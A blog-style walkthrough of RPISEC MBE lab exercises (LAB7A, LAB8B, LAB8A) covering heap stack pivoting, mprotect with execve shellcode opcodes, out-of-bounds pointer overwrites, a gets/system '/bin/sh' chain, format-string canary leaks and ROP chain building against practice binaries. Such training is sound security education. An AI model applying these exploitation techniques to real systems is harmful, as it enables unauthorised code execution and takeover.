Corb3nik's ROP chain delivered to the print_index()->numbuff[32] buffer via  print_index()->fgets()'s input made the program start using the heap as the stack (pop esp, ret;).With the rest of his ROP chain stored on the heap via the initial heap overflow:

As you might remember from the beginning of this way too long write up, I wanted to use mprotect() really bad, to make the heap executable and just fucking jump to it (thus ugly), without using any more ROP.

I did as well start off with the messages[i]->print_msg() pointer overwritten with the address of a  mov ecx, esp; ret; gadget.

But my ROP chain delivered along with the message number to the print_index() stack looked like this:

So obviously it started with the address of mprotect().

Then there was an address of a pop3ret instruction - the next instruction the mprotect() would return to - this is where it would expect to have its parent's saved RET stored. Before we return to the next address, we have to jump over/clean up the mprotect() arguments still lying on the stack, hence we have to use popNret as the next addr to return from our function whenever that function takes N arguments. This is the basic principle of building ROP chains.

OK, then the arguments.

First, the start address of the memory area we want to change memory protection flags of. I initially used the address of my shellcode  (warning, this did NOT work and required a fix, but read on!). The shellcode was already delivered to message #1's buffer by overwriting its XOR pad with the format string for printf() AND the shellcode itself:

At the time of writing the exploit it was still a NOP-holder, I left shellcode writing till the end. The point is that the address of the shellcode on the heap was already known thanks to its fixed offset from the leaked pointer.

Then the length  (I wanted to use 0x64 just to be on the safe side and have enough space executable). Then the flags (0x7 = READ + WRITE + EXEC).

And then, lastly, again the address of the shellcode on the heap. This is where the last ret from this short ROP chain will return. Then it will be just normal (a sequence of opcodes) shellcode executed on the heap.

For some reason mprotect() kept returning an error (0xffffffff in EAX), so the range must have been incorrect. I peeked into XPN's ROP Primer https://blog.xpnsec.com/rop-primer-level-0/ write up again and did as he did there with the stack - used the entire fixed heap start address + length as arguments (as I mentioned, they stayed the same between instances, hence could be fixed). Not the prettiest solution, but it was late and I just wanted to write the shellcode, run it from the heap and call it a day.

Shellcode

OK, the shellcode now. As far as I remember it should look like:

I built this using shellnoob (a tool I recommend for asm->opcode and opcode->asm conversions):

So, the opcodes are:

682f736800
682f62696e
54
5b
6a0b
58
31c9
31d2
cd80

So yeah, it worked:

The full code of my heavily uglified version of Corb3nik's exploit can be found here:

https://github.com/ewilded/MBE-snippets/blob/master/LAB7A/exploit_rwx_heap.py

Out-of-bounds read-write with some integer sign flipping - MBE LAB8B walkthrough - the basic version

30 June 2019 at 10:58

I decided to skip the LAB8C (https://github.com/RPISEC/MBE/blob/master/src/lab08/lab8C.c) writeup, as solving it did not even require running gdb - so I was like "muh".

Instead, let's look at LAB8B.

The target app

As usual, here's the source code: https://github.com/RPISEC/MBE/blob/master/src/lab08/lab8B.c.

Compilation flags

Below are the compilation flags from the comment at the top of the source file:

However, these flags do not seem to add up with the actual compilation flags used to produce the /levels/lab08/lab8B binary. My conclusion is that -fPIE -pie flags were NOT used when compiling, as the addresses in the code segment turned out to be fixed (but that's OK, we can leak mem from the program, having them ASLR-ed would not really make things much more difficult here). Plus, there' s a second (bonus) solution to this, which does not utilize those fixed addresses, but later on that. Also, this commit https://github.com/RPISEC/MBE/commit/ad0d378e379470ebf744655234361bd303530ab4 suggests some comment flags vs real compilation flags discrepancies in chapter 8's labs.

The code

Below is the data structure we are going to work on:

The core logic of the program is to allow us enterData() into v1 and v2 structures (just the numbers and the char, the printFunc pointer is initialized with a fixed value).

We can't manually enter data into the v3 vector. Instead, v3 is filled by adding the values of the corresponding v1 and v2 fields together (sumVectors()). For this to happen, neither of the v1 and v2 fields can be 0:

enterData() simply fills a vector structure with user-supplied numbers plus the vector.a char, using scanf() calls with format strings relevant to their declared types (signed/unsigned). The vector.a char is an exception to this, as it is read from stdin with a getchar() call:

This is our user interface:

And this is how our user interface is connected to methods:

Now, the most important method:

How v.printFunc pointers are initialized + what does printVector() do

By default all printFunc pointers point at printf():

When enterData() is called, v.printFunc is overwritten with printVector() address:

This means that asking the program to print a vector before we even enter it would make it call printf() on an yet empty vector. The only initialized field would be the printFunc, containing the current libc printf() address. So yeah, this is the first vulnerability, but it's not the only leak in this app.

The second leak is a feature of the program itself, implemented in the printVector() function:

So we can leak printVector() address, libc printf() address as well as the address of the v vector in the data segment.

The following simple exploit skeleton extracts both of the leaks:

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_leak.py

The out-of-bounds-read-write

So, this is the vulnerability we are after:

We can allocate and copy up to MAX_FAVS (10) versions of v3 (can be the same v3 without making any changes to it) to the faves[] array.

The first fave (faves[0]) is a proper byte-to-byte copy of v3, because i is 0 at the time. The issue starts to manifest itself as i grows. So, a careful pick of the sum constituents (relevant corresponding v1 and v2 fields) along with the right choice of an i value from within the 0-9 range should allow us to arbitrarily overwrite the printFunc pointer in at least one of the faves. Then load it back to either v1 or v2 and task the program to print it.

But before we get ahead of ourselves, let's clarify few basic things first.

Sizes and paddings - how data is aligned in memory

In this case it seems like a good idea to start with checking the size of the struct vector structure, as well as its individual members. We also need to expect some padding (we're in 32-bit world here, so eventual space reserved for an object will be rounded to a multiply of 4).

Over the course of my work on this challenge, I compiled a few small C programs to test some stuff the easy way, here's one of them:

The output:

So we know that in our system (MBE VM) both int and long int have the same size. We also know the entire size of the struct vector = 44.

Since both longs take 8+8 (16), four integers take 4+4+4+4 (16), that's already 32. We also know that the printFunc pointer will take 4 bytes, making it 36. So, we have 8 more bytes occupied by two short integers and one char. This makes sense as short integers are two-byte variables, so 4 bytes are needed to contain two of them (making it all 40 so far). A single char takes only one byte (making it 41), so three more bytes of padding are required attain the nearest multiply of 4 (44).

But let's see how this actually looks like in memory. For this purpose, I created a skeleton of the exploit, simply filling the particular structure fields with a set of values making them easy to distinguish:

The text version is here: https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_init_bare.py

A note about libc output buffering

When using pwnlib (pwntools), I highly recommend the additional stdin=PTY argument for the process() call (can save you a lot of frustration, whereas the output you expect from the target app does not arrive and you have the impression that the program hung). This particular challenge made me learn the hard way that by default pwnlib is using a pipe (not a PTY) as the standard input for our exploit. This means that the target application does not recognize its standard output as an active device (PTY), which would prevent libc from buffering data coming from its output routines like printf().   Some more details here: https://twitter.com/julianpentest/status/1143386259164938240.

Anyway, back to our memory alignment inspection. Running it (you might want to cp /levels/lab08/lab8B /tmp first):

Second console (for this, /proc/sys/kernel/yama/ptrace_scope  needs to be set to 0 - I keep it this way on MBE VM as it's efficient):

And here's the v1 contents after enterData()(easy to attach and see when the program is waiting for input here, no breakpoints needed):

A slightly closer look:

v1 test contents with clear distinction of data distribution, including the two null paddings marked white

Adding vectors

OK, now let's get two vectors summed, while trying to pick the v1 and v2 fields in such a way that we get expected values in v3 fields.

So, let's say we want our v3 sum to consist of consecutive capital letters, 'A','B','C' and so on.

This will make it easy to distinguish which bytes of the v3 vector are being copied to which bytes of the particular faves[i] structure, as the i offset grows.

As our v3 has to come from a sum of non-zero values, we will simply fill the first vector with growing natural numbers, starting at 0x1, while filling all the fields in the second vector with 0x40-s.

We can achieve 0x40 in particular memory cells by putting the following values in, depending on the type:

And here we go (again, full text version  can be found here https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_test_sum.py):

And here we have it:

Due to our v1 values being very small (0x1), the more-significant bytes of those values were nulls, producing 0x40 (no change) in v3 when summed with the more-significant bytes of their v2 counterparts. Fair enough, now we have a basic understanding how to manipulate v3 and therefore faves[i].

Options for execution control

Now, the best way to see our options here is to simply use the v3 contents we already have and add it to favorites 10 times or less (as we can't do more) and examine the resulting faves[i].printFunc pointer. Once we identify and pick the most favorable offset (the value of i that allows us to fully control the pointer with any of the v3 fields), we'll pick the proper v1 and v2 values once again so their sum is what we want and exploit it. Having the proper i we know how many times our v3 has to be added to favorites and as well what is the favorite number we want to ask the program to print for us to execute code from our arbitrarily provided address.

I initially though that i increments by 1 in the vulnerable memcpy() call will result in the pointer address being incremented by one byte as well.

Debugging, however, revealed that the expression is expanded with the variable type being a pointer to int (which is 4 bytes), hence consecutive increments of i will make the memcpy() source argument point at further and further whole dwords (double words, 4-byte chunks) of the current v3 contents.

Here's how faves[] change with every single fave() call:

i=0, faves[0] == v3, this is expected

So, for i=0, faves[0] is a complete copy of v3.

Now, after a second fave() call, i=1:

Yes, the second fave already has its printFunc pointer fully overwritten with data from our input (0x40420041)! So with every new favorite added the byte offset of the out-of-bound-read-write will effectively move by 4.

As we can see, i=1 is not sufficient for our desired pointer overwrite, because we cannot control the nullbyte (as opposed to every other byte) in the 0x40420041 value (that nullbyte comes from the char v3.a padding - beyond our control). The whole value contains v3.a with padding (two least significant bytes) and short int v3.b (two most significant bytes).

The next offset (i=2, faves[2]) is even worse, as we would have the unsigned short int v3.c being our new pointer (0x00004043 at the time of taking the above screenshot), which in turn has two padding nullbytes we cannot control:

Marked are faves[i].printFunc values

Offset i=3 does the trick (gives us full control over the pointer).

One more thing. We can't ask the program to directly call any of the faves[i].printFunc. Instead, we must load the particular favorite into one of the two work vectors (v1 or v2), then print it.

And:

It looks like we're almost there.

The basic solution (without bonus points)

There's one more important code section I did not mention:

Long story short, the basic solution is to now pick our input in such a way that instead of 0x40404044, faves[3].printFunc contains the address of thisIsASecret().

Normally we would calculate the thisIsASecret() function's address based on the already leaked printVector() address:

But due to the missing -fPIE -pie flags this is not required. The address is simply 0x800010a7.

The problem with signs

Knowing that 0x800010a7 is 2147487911 in decimal, I simply tried to split it between v1.d and v2.d values as 2147487910 and 1.

This did not work, because d is a signed integer, with possible value range of -2147483648 <--> 2147483647. 2147487911 is slightly above the range. When provided to scanf("%d", &(v->d));, it ends up truncated to the maximum value of 0x7fffffff to avoid integer overflow.

0x7fffffff is 2147483647, while 0x80000000 is -2147483648. This means that our desired pointer is a negative number and we cannot achieve int overflows with scanf().

The arithmetic overflow, however, is entirely feasible when the values get added in the sumVectors() function. So v1.d = 2147487911 ending up as 0x7fffffff, summed with 0x1 made the value 0x80000000. Quite close, but not what we want.

There are several solutions to this:

  • stick to the values we already picked and just overflow the sum even more by setting v2.d to the 0x10a7 offset + 1, so v1.d=0x7fffffff + v2.d = 0x10a7 + 1 becomes 0x800010a7 or just pick some two static numbers that lead to the result we want (the simple and ugly solution, not to mention lazy as well)
  • dynamically leak the target value as a signed integer, using pwnlibs unpacking functions (e.g. number = u32(leak[0x0:0x4],sign="signed")) to get the value of the pointer interpreted as a signed integer, use if on v1.d input while putting the required calculation offset (e.g. difference between printVector() and thisIsASecret() or difference between system() and printf()) as v2.d, flipping the signs if needed - depending on whether the initial value is negative
  • dynamically leak and calculate the target value treating it as unsigned, then split it into half (e.g. for target 2147487911 that would be 1073743955 and 1073743956 for v1.d and v2.d inputs, respectively), so both inputs are within the signed int range for scanf() and still good for the overflow (smart, reliable and quite easy solution)
  • simply use the next offset i=4 instead of i=3, because v.e is an unsigned integer, so we get rid of the problem entirely (lazy and neat solution)

Thus, overflowing it even more with a statically picked values could go like this:

Knowing that:

  • 0x80000000 is -2147483648 (the bottom of the unsigned int range)
  • 0x8000010a7 is thisIsASecret() address
  • 0x10a7 is thisIsASecret() offset (4263 decimal)

we can pick 4263 and -2147483648 as v1.d, v2.d:

The full exploit code (basic non-bonus version)

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_working_simple_and_ugly.py

The bonus version will follow in the second part.

Out-of-bound read-write without integer sign flipping - MBE LAB8B walkthrough - the bonus version without using thisIsASecret() function

6 July 2019 at 13:53

Introduction

This is the continuation of https://hackingiscool.pl/out-of-bounds-write-with-some-integer-sign-flipping-mbe-lab8b-walkthrough-the-basic-version/ - the bonus version not utilizing the thisIsASecret() function to get the shell.

So, the basic version was in fact very simple after figuring out how to control EIP. We just overwrote it with a pointer to this function:

Now, since we want to avoid using it to get the bonus points, regardless to what approach we will take (e.g. a full ROP-shell execve("/bin/sh") shellcode or a call to system("/bin/sh")), we have to attain some sort of argument control, as an arbitrary EIP just isn't enough.

How loadFave() really works

As mentioned previously, we can't print arbitrary vectors from the faves[] array by calling their own printFunc functions (like faves[i]->printFunc(faves[i])).

Even though the target application does contain a function called printFaves(),  I did not find it to be much of a use (neither for code execution, leaking nor for stack-grooming):

The problem with execution control is that this function directly calls the printVector() function, instead of using the faves[i]->printFunc pointer - the pointer we can overwrite and break our way into execution control.

Thus, after creating a v3 vector with arbitrary values and pushing it several times to the faves[] array to achieve arbitrary  printFunc pointer values,  in order to call any of those pointers first we have to load it to either of the two vectors v1, v2, explicitly asking the program to call loadFave():

Now, notice the memcpy() call's details:

It's memcpy(v, faves[i], sizeof(v));, NOT memcpy(v, faves[i], sizeof(struct vector));

It does not copy the entire fave[i] structure into v1/v2. Instead, it only overwrites sizeof(v) - which is a pointer. So the entire loadFave() operation only overwrites the first 4 bytes of the vector structure - which happen to be the printFunc pointer.

Let's illustrate this step by step.

We'll initialize v1 with values of 1 and v2 with values of 2, then sum them up, then add the sum to the faves several times, then load one of the faves back to v2 and see how it changed.

Full code can be found here: https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/init_one_two_sum_load.py

So, after initializing the vectors, summing them up and loading the sum four times to faves, this is what faves[] and v2 look like:

faves[3].printFunc
v2.printFunc

Again, this is right BEFORE we load fave[3] to v2.

Note that our fave[3].printFunc is 0x00000003 - and its other fields are as well just full of 3-s.  v2 yet has its original values; v2.printFunc = printVector and fields full of 2-s.

Now, after calling loadFave() of faves[3] to v2:

Only printFunc was overwritten

So, only the printFunc pointer from the chosen fave is loaded. Everything else stays intact. When attaining execution control, we make the program call v2.printFunc(v2)/v1.printFunc(v1). Since in the basic version we simply overwrote the printFunc value with thisIsASecret() address - which does need nor take any arguments, we simply did not care about them - and honestly I did not even notice this exact loadFave() behavior until I started poking around a solution that does not involve calling thisIsASecret().

Controlling more than just EIP

OK fine, so we can make v2.printFunc (or v1.printFunc, doesn't really matter) an arbitrary value, for instance system() - even though libc is ASLR-ed, we can leak the layout as already covered in the previous part: https://hackingiscool.pl/out-of-bounds-write-with-some-integer-sign-flipping-mbe-lab8b-walkthrough-the-basic-version/.

Sticking to v2 as our vector of choice, this means that we would effectively call system(v1). Now, let's think about it for a while. system() takes one argument, expecting it to be a pointer to a string of system commands:

And we DO NOT control the pointer being passed to it (we can only chose between v1 and v2) as its only argument:

So, once our arbitrarily chosen (e.g. system()) function gets called,  v2 pointer is the argument. And again, it looks like this:

So, what happens when system(0x80003100) is called? Well, it is going to try to execute \x90\x31\xe6\xb7\x02\0x00 as a string (remember, endianess). So even though we fully control short int v2.b, as well as further int, long int and long long int fields of the vector, the nullbyte padding the char v2.a field stands in our way. The string terminates - and although we fully control it, its first four bytes are strictly dictated by the value of EIP we force the program into.

We could possibly get this working if v2.a was at least two characters, instead of just one. In such case we would make them something like ;a, whereas ; is just one of the shell command separators (by the way if you're interested in command and argument separators, see this https://github.com/ewilded/SHELLING), while a is just another command. We could create a program/script named a in /tmp and add /tmp to our $PATH before calling the target program. But we can't do this on just one byte.

We could try to add /tmp to $PATH and then put our arbitrary commands (like /bin/sh or cat /home/lab8A/.pass) to a script named exactly \x90\x31\xe6\xb7\x02\, or whatever the current value of system() would be at the time of executing the target program - after having it leaked (ASLR).

I tried this approach. Did not work due to some of the bytes in this value not fitting into acceptable range of characters allowed in file names.

It became clear I have to try something else. Spoiler alert; stuff described in below Looking for ROP gadgets and stack-pivoting vectors section eventually did not work, although it allowed me to notice a beautiful (only potential as not actually attainable) ROP scenario.

What eventually did work is described in in the section after.

Looking for ROP gadgets and stack-pivoting vectors

So I searched for some stack pivoting scenarios (like the one described here https://hackingiscool.pl/heap-overflow-with-stack-pivoting-format-string-leaking-first-stage-rop-ing-to-shellcode-after-making-it-executable-on-the-heap-on-a-statically-linked-binary-mbe-lab7a/).

None of the functions used in the program turned out useful for stack-grooming in a similar way as print_index() in LAB7A - again described here https://hackingiscool.pl/heap-overflow-with-stack-pivoting-format-string-leaking-first-stage-rop-ing-to-shellcode-after-making-it-executable-on-the-heap-on-a-statically-linked-binary-mbe-lab7a/).

This is our sample stack at the moment of our execution takeover:

Saved RET marked white, v2 marked red

This time we do not seem to have any control over any of the stack values - unless we want to try to stuck our payload somewhere in the input buffer argv. The problem is that we won't have a gadget that would point our ESP there.

So I thought "OK we want to make ESP point somewhere at v1/v2/faves integer fields we control and put our ROP shellcode there".

These are the registers at the moment of our execution takeover (EIP was set to system() at the time):

Looks promising, EDX points at our v2 structure (its first four bytes, printFunc, contained the address of system() when the screenshot was taken).

We want a gadget like mov edx esp; pop whatever; pop whatever; ret.

mov edx esp would set our stack to the top of v2. The two following pop instructions would take out the printFunc and v2.a+v2.b dwords, so v2.c(signed short int) would become the top of the stack. Nah that's not good either, we can't control half of that value. Fuck.

I fired up ropeme ropshell.py. I ran generate /home/levels/lab8B, which generated lab8.ggt file with gadgets. I loaded it with load lab8.ggt. Ran the following search:

Fuck, VERY few (only 5 pop; ret;) gadgets. Extremely unlikely to find the one we need.

I checked them all, one by one, looking at different slightly lower starting offsets, to see the instructions above them - making sure they are still what they should be, as depending on the offset we can get different assembly, as instructions do not have fixed lengths and they simply occur one after another. Example below:

0x1676L: pop ebp ;;

Luckily, this can be done in an easier way (ropeme ropshell.py):

OK, what about libc? I bet there's plenty of gadgets there! So I repeated the steps with ropshell.py to generate gadgets from /lib/i386-linux-gnu/libc-2.19.so.

OK, more like it.

By the way, peda also offers some built-in ROP helpers itself:

So, back to our mov edx esp:

Nah, not a chance.

Neither for a suitable pop esp gadget:

Just to make sure the syntax is correct:

Now, this would pivot ESP to v2:

And it would return to itself (a recursive ROP), as printFunc happens to be the address of our gadget (initial EIP control) and would be laying on the top of the stack once ESP pointed at v2, making v2 our new stack. The second execution of the gadget would result in popping the printFunc from the stack, then putting v2.a+v2.b (which have nullbytes we can't control) into ESP. Shit, this is getting nowhere. At this point I felt stuck and decided to peek into Corb3nik's solutions (https://github.com/Corb3nik/MBE-Solutions/) - only to find out, to my surprise, that he did not make/publish the bonus version solution.


"Never use this function"

As this thing got under my skin and kept me awake at night, I came up with this while already drifting away to sleep: since v2.a and v2.b are standing in our way, let's use our EIP control and the v2 argument passed to it on the stack to deliver a new payload to v2. I thought of fgets(), only to find out it did not work - only to realize it is expecting three arguments, as I confused it with gets() - which is exactly what we need here:

So the plan is to first calculate a new sum in such a way that its printFunc is system(), add it to faves[] under the right offset (4 is perfect) and we'll be able to load it into to v2.printFunc later.

Then we enter new data into v2 in such a way that when we sum v1 and v2, we will achieve relevant consecutive fave[i].printFunc (6 is perfect, by the way) pointer to be libc gets().

Then we load it into v2. Then we ask the program to print it, so gets() is called, allowing us to overwrite the entire v2 (and everything that follows it, although we won't need it). This is why it was important to do all the calculations and load the faves before this step - we want v2 (except for its first bytes  -  the printFunc pointer) to stay intact from now on - which is perfectly feasible with the way loadFave() actually works, as we found out earlier.

So when gets(v2) is called, we overwrite it with something like XXXX;/bin/sh. The values of the first four bytes are irrelevant (as long as they are not messing with gets() input, so we don't want nullbytes or newlines).

We don't care about the first four bytes (e.g. XXXX), as they will overwrite the current printFunc pointer (gets() address at the time).

We don't care about them as we will overwrite them once again in the next step, by calling loadFave() on faves[6] - so v2.printFunc becomes system(), with the following bytes being ;/bin/sh\x00.  

So - at this point we'll just ask the program to print v2 once again, making it call system("0xb7e63190;/bin/sh") whereas 0xb7e63190 is a sample address of system() itself. The first command will obviously fail, as it refers to a nonexistent file, the second command should succeed.

So once again, the full algorithm:

  1. Initiate v1 the same way as so far, with values of 1.
  2. Manipulate v2 in such a way that after calling v1+v2, v3.printFunc becomes system() (we attain system() at faves[4].printFunc (yup, i = 4), the same way we did so far with index 3 (4 is to avoid the negative signed integer hassle)).
  3. Add v3 to faves five times (because we want i=4).
  4. Re-enter v2 in such a way, that when summed up with v1, will make v3.g = gets().
  5. Add v2 to faves two more times (make i=6 and faves[6].printFunc = v3.g = gets().
  6. Load faves[6] to v2 (this will overwrite its printFunc pointer with gets()).
  7. Ask the program to print v2, overwriting it with XXXX;/bin/sh thanks to v2.printFunc = gets().
  8. Load faves[4] to v2 (this will overwrite its printFunc pointer with system()).
  9. Ask the program to print v2 and get the shell without using the thisIsSecret() function - the bonus version.

One more tricky thing I spent a while debugging and wondering what was wrong: -  it was crucial to use p.send("2") instead of p.sendline("2") after issuing p.sendline("3") - which tells the program to print a vector.

Once receiving our "3\n" it asks for the vector number by calling vectorSel():

The problem with this is that it is using getchar() to read the vector number. So, if we send the number followed by a newline character, the number will be read, while the newline character will be pulled from our input as input to gets(). And since gets() treats newlines as terminators, it would effectively lead to gets() writing an empty null-terminated string to our v2 buffer. So it would basically overwrite the least significant byte of v2.printFunc pointer with a nullbyte, without placing our shell command payload where we wanted it.

And what can I say - it works:

The full exploit code can be found here

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_bonus_version.py

Stack-canary (ROP), format string leak plus how I learned that nullbyte is not a badchar to scanf("%s",buf) - while socat ignores read on STDIN - MBE LAB8A

28 July 2019 at 14:28

This time we are having some fun with a standard null-armored stack canary, as well as  an additional custom one (we will extensively cover both scenarios, as there's plenty of subject matter here), plus some peculiarities regarding scanf() and read().

The relevant MBE lecture can be found here http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/19/11_lecture.pdf (the last section covers stack canary implementations and possible bypasses, as well as resources on deeper research).

A look at the target app, its vulns and its custom stack cookie protection

As usual, the target app can be found here - https://github.com/RPISEC/MBE/blob/master/src/lab08/lab8A.c.

Here are the compilation flags; static and no PIE - although the latter does not matter much in this case - we will leak the code segment base anyway:

Let's start with the main function:

We have two always functions called from the main function one after another, regardless to any user input; selectABook() and findSomeWords().

selectABook() looks like this:

Apart from its (and the entire app's, for that matter) general weirdness, we can see that:

  1. the function is recurrent (line 29) when user input does not match any of the hardcoded conditions
  2. it's vulnerable to a stack-based buffer overflow via scanf("%s",buf_secure) - line 16
  3. it's also vulnerable to format string (line 17)

readA(), readB() and readC() are just simple methods printing out static hardcoded strings (Aristote's Metaphysics quotes), nothing useful in the context of exploitation (unless we had printf() GOT overwritten, but that is not what's going to happen here):

So at this point it already looked like I had what was needed to pwn the app; two bugs to chain together:

  • an overflow to overwrite the saved RET on the stack
  • a format string to leak the value of stack canary (and stack and code base if neessary) - so we can overwrite the stack canary with its own original value and therefore avoid the stack guard noticing we smashed the stack and therefore avoid the stack guard preventing the program from returning to our arbitrary EIP

Leaking the standard canary with format string

Let's start with identifying how the actual built-in code for handling stack canaries looks like in gcc-produced assembly:

the beginning of the main() function
the bottom of the main() function

The same holds true for all other functions.

Now, let's see what the stack values look like between runs and how exactly stuff is aligned on the stack. As we want to leak from selectABook()'s stack - because this is where the format string resides - let's put our breakpoints there:

Let's stop at selectABook+15 - our current canary will be held in EAX.

Then at selectABook+42 - after the scanf() call - we'll fill the buf[512] with exactly 512 bytes so we don't overflow anything yet and see the original values on the stack.

So we run:

breakpoint 1 - canary value is held in EAX

OK, now let's continue. Now (we have already been prompted above - Enter Your Favorite Author's Last Name:), we just paste 512 characters:

OK, we're past the scanf() call. Let's see the stack now:

... snip ...

The format string we are exploiting is simple printf(buf_secure). buf_secure[512] is 512 bytes-long. If we apply abuser friendly format string %p (so the whole dword of choice is printed, as hex) - just like we did here https://hackingiscool.pl/heap-overflow-with-stack-pivoting-format-string-leaking-first-stage-rop-ing-to-shellcode-after-making-it-executable-on-the-heap-on-a-statically-linked-binary-mbe-lab7a/) - considering that 512/4 = 128, we would expect our canary at %129$p.

Nah, something's wrong. Maybe it's because string formats index the`$`-referred arguments starting at 1... Let's see what's under %1$p:

Nah, it's the buf_secure address itself.

How about 130?

Yeah more like it.

The value is consistent between function calls (selectABook() as well as selectABook()->selectABook() recurrent call - remember, the stack canary value is global to the entire process) and it changes between runs.

Also, in this case the saved EBP should be right next to it, at 131:

Consecutive values of saved EBP across recurrent selectABook() calls

Yup. The consecutive values are decreasing by a fixed offset, as recurrent calls of selectABook() continue.

We will need this value as well while developing the exploit for this.

As a matter of fact at this point I even wrote the first version of the exploit (https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8A/wannabe_initial_exploit.py).

As usual - the exploit failed at the first attempt...

And I was too lazy to actually debug it.

Instead, once I noticed that the saved RET was not overwritten in result of overflowing the buffer, I mistakenly assumed (self-limiting assumptions!) that the nullbyte-armoured stack canary (you probably already noticed that all the canaries so far had nullbyte as their least-significant byte) was the reason I could not - via scanf("%s",buf_secure) - write beyond the nullbyte. I just thought scanf() would stop reading after encountering 0x0 on its input, explicitly because of the %s format string. I was wrong, but this assumption was reinforced by the fact that oftentimes while figuring out solutions to MBE targets I felt like it was all fine and dandy... only to later realize some tiny little obstacle. A tiny little obstacle forcing me to double the overall effort to attain a working exploit. Thus I assumed selectABook() exploitability was too good (too easy) to be true.

To follow the selectABook() exploitation route, skip to Building the ROP chain and then to Successfully exploiting selectABook() locally and remotely sections.

Otherwise, read on to explore the remainder of the target app and my exploit dev process.

Analyzing the rest of the code

We have only read half of the source code yet (as mentioned, this is an extensive write up)!

So, to feed our curiosity, instead of getting ahead of ourselves, let's see what's going on in the second function - findSomeWords():

The stack-based buffer overflow of the 24-byte buf[24] buffer with read(STDIN, buf,2048) at line 75 is quite blatant.

The rest of the code is just super-weird. First, the unused char lolz[4], then the entire custom cookie mechanism.

Bypassing the custom canary check

So let's try to figure out what's the deal with it.

global_addr and global_addr_check are global pointers held in the data segment, declared at the top of the source code, right below the compilation flags comment:

Although their initialization expressions are quite simple, I found them far away from obvious:

So apparently global_addr is a pointer to the next value after the buf (I initially thought it's just the address of the buf buffer incremented by 1, but I was wrong).

Then global_addr_check is the global_addr (whatever it is) decremented by 2.

And then finally there's this check:

The implication is as follows: if we want to exploit the stack-based buffer overflow in findSomeWords(), we need the function to properly return, without the exit(EXIT_FAILURE) nor the standard stack guard interrupting.

So in order to make it return, we need to both:

  • overwrite the original stack canary stored on the stack with its own value that we leak earlier via format string in selectABook() (there is just one stack canary value for the entire program, initiated before main() is executed, used by the stack guard for all following function calls)
  • make the ((( globaladdr))^((globaladdrcheck))) != ((( globaladdr))^(0xdeadbeef)) condition return false so exit(EXITFAILURE) is not called

Let's simplify the custom-cookie condition.

We want this:

to evaluate false.

Which means we want this to be true:

Which means global_addr_check must equal 0xdeadbeef.

OK fair enough, does this mean that the custom cookie protection by default makes the program exit with EXIT_FAILURE error code and Whoah there! message?

Yes, it does - simply running the app and providing "A" and "HELLO" inputs, respectively, results in this:

Fair enough. Let's bypass this custom canary, forgetting about the format string and overflows for now.

Let's make this app print out Whew you made it! instead of doing exit(EXIT_FAILURE) in findSomeWords():

As my poor understanding of C kept me unsure about the mechanism, I got to the bottom of this by running gdb, disassebmling the findSomeWords()function, setting up a breakpoint after the read() call and stepping through it, instruction after instruction.

OK, breapoints:

Debugging step by step.

1)  findSomeWords+80:

At this point EAX is 0xbffff700 --> 0xc43c9300  - the address of the canary on the local function's stack.

2) findSomeWords+87:

At this point EAX is still 0xbffff700 --> 0xc43c9300, EDX is 0xc43c9300 (canary from the stack). So now we have proof that the global_addr = (&buf+0x1); instruction makes the global_addr pointer point at the canary on the stack.

And now we are about to find out what's under ds:0x80edf24 (the value just gets copied to EAX).

3) findSomeWords+92:

And now EAX is 0x080481a8... weird. Let's peek the stack and see what's what:

OK, so global_addr points at the canary on the stack, while global_addr_check points at the value two dwords (-0x8) earlier. But hang on, where did this 0x080481a8 value come from?

The reason is that we did not fill the entire buf[24] buffer (I only sent 11 Bs at that time). Here's how the buf[24] overlaps with global_addr_check:

This means that:

global_addr points at the stack-stored copy of the canary

global_addr_check points at the before-last byte of the buf[24]. So the (&buf+0x1); instruction considered the buf size, making it point at the next dword on the stack (the canary), while global_addr_check = global_addr-0x2; made global_addr_check points two dwords earlier, at the four bytes at buf[15-19].

In recap: the stack-stored canary XOR-ed with 0xdeadbeef must equal stack-stored canary XOR-ed with the before-last dword of the buff. Which simply means we just want the before-last dword of buff[24] (again, bytes 15-19) to be 0xdeadbeef.

So as long as the value we provide to the read(STDIN,buf,2048) call in findSomeWords() contains 0xdeadbeef at its fifth dword (bytes 15-19), we should bypass the custom stack protection:

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8A/custom_canary_bypass.py

Yup, that's exactly it:

OK cool, now we should be able to easily exploit the overflow in findSomeWords().

Building the ROP chain

Since we don't have libc dynamically linked in here, we can't do system().

Fine, we just want to call execve syscall the usual way:

eax = 0xb

ebx = pointer to "/bin/sh" - or, for that matter, "/bin/python" or anything other than "/bin/bash" (because bash is evil and drops the euid if called from a suid binary - fucking safety features)

ecx = edx = 0

int 0x80

Let's start ROPeme ropshell.py, generate the gadgets from the target binary and search through them.

Spoiler alert: at the late stage of the exploit development process I realized that - when targeting the scanf("%s") overflow - characters 0xa (newline) and 0xd (carriage-return) have to be avoided - as opposed to 0x0 (yes, really).

Thus, some of the gadgets I initially used had to be replaced due to the fact their addresses contained either 0xa or 0xd.

Running ROPeme, generating the gadgets:

Loading the gadgets:

Searching the gadgets (let's start with xor anything anything):

OK, all the last three look good for starters, we can initiate EAX with 0.

By the way, please keep in mind I started building this one with the assumption I could not use nullbytes in the payload, so instead of just putting a pop eax address followed by a nullbyte, I kept assembling these workarounds - but it was fun and finally worked.

So - as there was no xor edx edx (effectively EDX=0) gadget, I followed one of the tips found here (https://trustfoundry.net/basic-rop-techniques-and-tricks/) to use xchg instead (as we have already put 0 to EAX):

Just keep in mind now EAX hold whatever garbage was in EDX, so we'll have to zero it again, with one of the xor eax eax gadgets.

Oh fuck, we can't use them. They all contain 0xa.

Fair enough.

Instead, we use the gadget putting 0xffffffff to EDX followed by inc edx to overflow it to 0:

Now, we want EAX to become 0xb. It's 0 at the moment.

So why not to call inc eax twelve times.

My meticulous effort to keep the chain clean from nullbytes finally collapsed when I had to nullify ecx. Instead of pop ecx followed by a nullbyte I did this:

Which looks nicer but still does not change the fact that p32(0x1) = 0x00000001 - contains three nullbytes.

